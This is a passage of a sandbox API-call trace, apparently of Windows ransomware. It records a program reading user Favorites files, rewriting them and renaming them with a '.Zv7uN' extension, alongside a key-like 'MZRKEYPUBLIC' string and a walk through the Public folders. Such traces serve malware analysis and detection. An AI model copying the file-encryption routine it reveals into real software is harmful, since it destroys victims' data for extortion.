ydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0125.440] GetCurrentThreadId () returned 0xa30 [0125.440] GetCurrentThreadId () returned 0xa30 [0125.440] GetCurrentThreadId () returned 0xa30 [0125.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.441] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.441] GetCurrentThreadId () returned 0xa30 [0125.441] GetCurrentThreadId () returned 0xa30 [0125.441] GetCurrentThreadId () returned 0xa30 [0125.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.441] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.441] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.442] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.442] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.442] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.444] CloseHandle (hObject=0x1ec) returned 1 [0125.444] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.447] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.449] CloseHandle (hObject=0x1ec) returned 1 [0125.449] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.zv7un")) returned 1 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] GetCurrentThreadId () returned 0xa30 [0125.450] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0125.450] GetLastError () returned 0x12 [0125.450] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.451] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f8d0e60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f8d0e60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.451] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.451] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f8d0e60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f8d0e60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.451] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.451] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f85ea40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url.Zv7uN", cAlternateFileName="GETWIN~1.ZV7")) returned 1 [0125.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.451] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.451] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f884ba0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0125.451] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.452] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f8aad00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0125.452] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.452] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f8d0e60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 1 [0125.452] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.452] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.452] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f8d0e60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 0 [0125.452] GetLastError () returned 0x12 [0125.452] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.452] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0125.452] GetLastError () returned 0x12 [0125.452] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.452] GetFileAttributesW (lpFileName="::{645FF040-5081-101B-9F08-00AA002F954E}") returned 0xffffffff [0125.453] GetLastError () returned 0x3 [0125.453] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0125.453] GetFileAttributesW (lpFileName="C:\\Users\\Administrator" (normalized: "c:\\users\\administrator")) returned 0xffffffff [0125.454] GetLastError () returned 0x2 [0125.454] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0125.454] GetFileAttributesW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public")) returned 0x11 [0125.454] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f4f8, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0125.454] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.454] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.455] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.455] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0125.455] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0125.455] GetLastError () returned 0x12 [0125.455] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0125.456] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0125.456] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0125.456] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.456] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.456] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.456] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.456] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: 